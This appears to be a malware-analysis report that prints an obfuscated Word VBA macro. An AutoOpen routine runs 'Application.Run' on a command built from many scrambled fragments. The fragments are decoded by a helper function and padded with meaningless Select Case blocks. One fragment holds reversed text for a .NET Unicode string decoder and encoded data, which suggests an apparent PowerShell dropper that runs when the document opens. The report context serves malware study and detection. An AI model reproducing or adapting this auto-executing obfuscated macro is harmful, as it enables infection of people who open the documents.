tXCXVAXqml = FLEjZv + BUSbw("jotGA2AgYAYDAjBgZAcDAyAQMAMDAyAgMAMGA2AwMAUGAxAQZAQGAwAQZAkDAhBAZAQGAlBgMAIGAiBwYAYGAhBAZAMDA0AgNAIGAmBwNAYGAiBgMAUGAxAQNAgDAzAwNAMGAkBQYAcDAwAAOAYk5U1.#RZFI40t(cc", 17, 144)
Select Case ZEYpvb
         Case 69441
            VfcmTN = Fix(51676)
            YYlDj = Int(18188)
         Case 97496
            OYNHjN = RPnYL
            wQtsr = ChrW(HiCzjW)
      End Select
Select Case vGmViC
         Case 63553
            GjwjfG = Fix(46874)
            zMWDOB = Int(90407)
         Case 46552
            dwziU = BkVzb
            ciZPV = ChrW(wvjnCb)
      End Select
cOsdhrrB = fWkzK + BUSbw("9(AkBQOAMDAzAAOAEGAiBgNAQDA4AQMAADAiBQNAADA5AQZAUGAiBANAUGA5AAZAMGA2AgNAQGAmBAZAUGA2AAOAUGAyAgNAEDA3AQZAwHA9AQPAcHAOLFMJj)iD3KKI]QFUQ7", 19, 114)
Select Case vGmViC
         Case 63553
            GjwjfG = Fix(46874)
            zMWDOB = Int(90407)
         Case 46552
            dwziU = BkVzb
            ciZPV = ChrW(wvjnCb)
      End Select
Select Case QYwdp
         Case 4335
            JzuRGD = Fix(17415)
            GWTwUV = Int(75120)
         Case 19831
            wKsHB = fUUbr
            HsplO = ChrW(ZzZzwE)
      End Select
hFolEGZc = MImzbt + BUSbw("lT#(3UIGA4AgZAcDAiBAMAMDA2AANAUGAiBQNAEGAjBgMAQDAhBgNAEDAjBAZAcDA4AwMAMD1F#X7z]i[Xbu01OT3X.zCKjJ(V1wE7c", 32, 66)
Select Case QYwdp
         Case 4335
            JzuRGD = Fix(17415)
            GWTwUV = Int(75120)
         Case 19831
            wKsHB = fUUbr
            HsplO = ChrW(ZzZzwE)
      End Select
Select Case cbWju
         Case 88646
            bNVVdJ = Fix(99144)
            EXzsET = Int(5757)
         Case 85162
            EkwnPG = GpTwP
            vzdlc = ChrW(mGovn)
      End Select
sDjnOIbAYK = tkYzWB + BUSbw("ofS<43AMGA0AgYAcDAwAwNAIGAwAwNAADA2AgZAQDAwAQNAYDAzAgYAEDAwAQNAADA2AgMAgDAjBAMAYDA5AgNAEGA3AgZAUDAiBQOAkDAwAgNAIGAzAgNAMGA2AQOAMDAlBgMAADA0AQOAADA2AwNAIDA4AgMAIDAkBANAYDAxAQNE#O(5NJSIUiNqk].zzE", 20, 168)
Select Case cbWju
         Case 88646
            bNVVdJ = Fix(99144)
            EXzsET = Int(5757)
         Case 85162
            EkwnPG = GpTwP
            vzdlc = ChrW(mGovn)
      End Select
Select Case RmAABd
         Case 72398
            ajdDU = Fix(19597)
            zLKnQK = Int(3973)
         Case 79616
            aamzS = KVIsF
            znJQwq = ChrW(tGKEr)
      End Select
wCJXQYPuH = dLtzLD + BUSbw("5%[I[f[T]XXKwRp%uQDAwAgYAkDAiBgZAYDA5AgYAEGA4AQNAMDAjBANAYDA2AgNAIDA3AQOAgDA3AQOatFoT", 6, 63)
Select Case RmAABd
         Case 72398
            ajdDU = Fix(19597)
            zLKnQK = Int(3973)
         Case 79616
            aamzS = KVIsF
            znJQwq = ChrW(tGKEr)
      End Select
Select Case zKiwVq
         Case 66192
            hotiq = Fix(52685)
            jMcSaf = Int(73098)
         Case 75987
            alBio = IRLqvL
            JRcak = ChrW(CMzjKm)
      End Select
qLXBjI = QzfFIU + BUSbw("Q.4%Kzn[3AQYAIDAkBgMAMGAkBQNAgDAlBwMAUDAyAwMAIGAmBQOAIGAzAgZAcDAxAgYAIGA0AQOAYGA5AQZAQGA5AwMAQDAzAwYAEGA4AQOAkDAyAAOALKl%WoV#JiuTf7kc", 17, 109)
Select Case zKiwVq
         Case 66192
            hotiq = Fix(52685)
            jMcSaf = Int(73098)
         Case 75987
            alBio = IRLqvL
            JRcak = ChrW(CMzjKm)
      End Select
Select Case NAvBKj
         Case 76664
            TTHqP = Fix(30984)
            sSShS = Int(5058)
         Case 48199
            uIYMi = HIRUNj
            fNuLd = ChrW(nPEoW)
      End Select
IHjGQ = wIbzKN + BUSbw("wNk1<#SRKuo] BQOAIFAzBQWAkEAwBgeAADA6BQSAQEA4AwcAoFAMBwVAMDAwAwUAgEA8BgM5435a05061b3143240f3476111d29467'($ (ISNAcOlLaLABOLgotgNirtsERucEs::]LAHsFfR00KoXL", 10, 132)
Select Case NAvBKj
         Case 76664
            TTHqP = Fix(30984)
            sSShS = Int(5058)
         Case 48199
            uIYMi = HIRUNj
            fNuLd = ChrW(nPEoW)
      End Select
Select Case BaIuwj
         Case 60127
            VnoBJ = Fix(81018)
            MtVadd = Int(85955)
         Case 35731
            ACswi = qiiZn
            sPurnO = ChrW(wnKhV)
      End Select
ofswuHH = zrFXFD + BUSbw("JAZp.f.#GA0AQNAQDAlBwMAkDAlBgNAADAiBgYAn3UUpA%JwwK#T[kt", 17, 31)
Select Case BaIuwj
         Case 60127
            VnoBJ = Fix(81018)
            MtVadd = Int(85955)
         Case 35731
            ACswi = qiiZn
            sPurnO = ChrW(wnKhV)
      End Select
TAtVMAPi = acQijvoiDNZkAD + ckwwwFI + qiLlNjOzVNjiJ + ChrW(34) + ruvoiqvw + LHwTDo + KIvsYKU + IHjGQ + cOsdhrrB + quANNZuZ + wWzBKEtzNjA + ilDAV + hFolEGZc + ofswuHH + Ezmfv + izojPWaWW + torvHzTzjvm + cKpwazFQ + nqMMLHIDrS + jjWVKcnq + wUIdb + AUilcJiJAj + zwcXoWFVA + GrCvmdtE + zGkCaNdG + YIjXLImp + sDjnOIbAYK + NTEQaiLznaf + wdDZmRz + PKTbLdGiJw + wCJXQYPuH + qLXBjI + GKOJnWcf + VAGPs + SREXDWipTK + mGnjOu + JVqjWZQNzw + jiCJzhNIK + JJHjAH + hTXjVNbOwNY + WrXzZNfn + GlouVVdFWil + VtiMpRIzQoE + Gkjjjac + tXCXVAXqml + HlzzURArJdF + IcnPTPmlIR + NoodUGviKvw + fjGjq + FRkwuc + vzazHpT + icvmss + SlzVZZ
Select Case WjCIT
         Case 56400
            jpPWWi = Fix(80151)
            XqGps = Int(62191)
         Case 66243
            iTBVw = EXazd
            wSwIHX = ChrW(GqmlN)
      End Select
End Function
Sub AutoOpen()
On Error Resume Next
Select Case QXpRHb
         Case 60028
            rvWBBW = Fix(8200)
            zhVRbc = Int(85860)
         Case 65946
            QYmMnU = zzhuHq
            vjUzqO = ChrW(CEMzm)
      End Select
Select Case jMMnf
         Case 13375
            rDsZDb = Fix(53425)
            CoJnG = Int(66798)
         Case 49161
            HdCTcO = aPBvL
            nuPANI = ChrW(rvvPmK)
      End Select
Application.Run "GMmWGmUWHX", TAtVMAPi
Select Case PDKfp
         Case 19057
            FJdnBd = Fix(67774)
            KCjQP = Int(29364)
         Case 89025
            mtahpL = mjSNEW
            VFBHh = ChrW(mNMfIZ)
      End Select
Select Case sjWulV
         Case 18775
            mPcpt = Fix(53542)
            GjPivF = Int(64556)
         Case 51013
            IhJHZ = vYQapD
            XcjMh = ChrW(qZRoIw)
      End Select
Select Case cPidf
         Case 21450
            HmDLC = Fix(96118)
            UDYTm = Int(73892)
         Case 92876
            muiYz = pqtBKT
            funui = ChrW(CkYYKj)
      End Select
End Sub

Attribute VB_Name = "WVtUWJKQcku"
Function qiLlNjOzVNjiJ()
On Error Resume Next
Select Case OvoOZ
         Case 81192
            BQXQt = Fix(55538)
            OmlMr = Int(77410)
         Case 920
            LAdTHM = iZVqq
            LKAwpi = ChrW(MYHzOq)
      End Select
iqokt = Xhboa + BUSbw("J4j!X9TwE%DXXO70", 6, 1)
Select Case OvoOZ
         Case 81192
            BQXQt = Fix(55538)
            OmlMr = Int(77410)
         Case 920
            LAdTHM = iZVqq
            LKAwpi = ChrW(MYHzOq)
      End Select
Select Case DNKAdo
         Case 16159
            tvNhR = Fix(80271)
            wjiuaz = Int(56517)
         Case 1872
            BJHABE = LDZvjf
            GubOq = ChrW(PhTQK)
      End Select
XorijTz = oZiKZA + BUSbw("oA57]ozKMk.Iv!!%XHWUD47noXc!<NnQ.[)TmR)FkT]7]0", 27, 7)
Select Case DNKAdo
         Case 16159
            tvNhR = Fix(80271)
            wjiuaz = Int(56517)
         Case 1872
            BJHABE = LDZvjf
            GubOq = ChrW(PhTQK)
      End Select
Select Case ANWzFL
         Case 81024
            jEcrG = Fix(39957)
            kRLmiL = Int(45624)
         Case 56770
            Evwivo = LsLQZt
            GRNWFk = ChrW(QRWju)
      End Select
rjJJIrC = VMJvBaM + BUSbw("2)Ym0XFW%I !%skwNPBW%!!%Zcwinu4(X9%", 8, 18)
Select Case ANWzFL
         Case 81024
            jEcrG = Fix(39957)
            kRLmiL = Int(45624)
         Case 56770
            Evwivo = LsLQZt
            GRNWFk = ChrW(QRWju)
      End Select
Select Case Wjivqs
         Case 15588
            IWZoh = Fix(32177)
            hfFaD = Int(38194)
         Case 66706
            wfnTzw = jJVKP
            DWBEER = ChrW(TtPFq)
      End Select
IbToXLEdVmM = JJsTck + BUSbw("fX(%XHWUmRTBoONuzKOcIm7T", 16, 6)
Select Case Wjivqs
         Case 15588
            IWZoh = Fix(32177)
            hfFaD = Int(38194)
         Case 66706
            wfnTzw = jJVKP
            DWBEER = ChrW(TtPFq)
      End Select
Select Case vMboPX
         Case 50924
            bPowT = Fix(72018)
            nzaij = Int(72413)
         Case 99086
            qwqtHj = SzRFac
            dHGUTd = ChrW(oUHfVw)
      End Select
buqZL = wkXPDJ + BUSbw("7K)XqZZji4tQAPnT%!!%MRhRQRsY%4)X", 4, 18)
Select Case vMboPX
         Case 50924
            bPowT = Fix(72018)
            nzaij = Int(72413)
         Case 99086
            qwqtHj = SzRFac
            dHGUTd = ChrW(oUHfVw)
      End Select
Select Case jPZzFv
         Case 77685
            tlSDmZ = Fix(29790)
            iUvoXj = Int(27571)
         Case 71820
            QwUWQp = wKhKGw
            vvOZqK = ChrW(TanYNN)
      End Select
ZNBbdd = ounsvU + BUSbw(")ilOn.0TojTJ<4TERV7nOK.fn!EmUoK<", 16, 1)
Select Case jPZzFv
         Case 77685
            tlSDmZ = Fix(29790)
            iUvoXj = Int(27571)
         Case 71820
            QwUWQp = wKhKGw
            vvOZqK = ChrW(TanYNN)
      End Select
Select Case fjoDwV
         Case 83744
            dMFTw = Fix(53760)
            wlzlzj = Int(54183)
         Case 78540
            YAChi = PDmdTN
            WJVKMT = ChrW(MuwWOI)
      End Select
zVsSp = UQzBoR + BUSbw("XlEjISOnp=%msniPMizsfhcB[X%)NX", 7, 18)
Select Case fjoDwV
         Case 83744
            dMFTw = Fix(53760)
…

Open this report in the interactive analyzer, or submit your own file for analysis.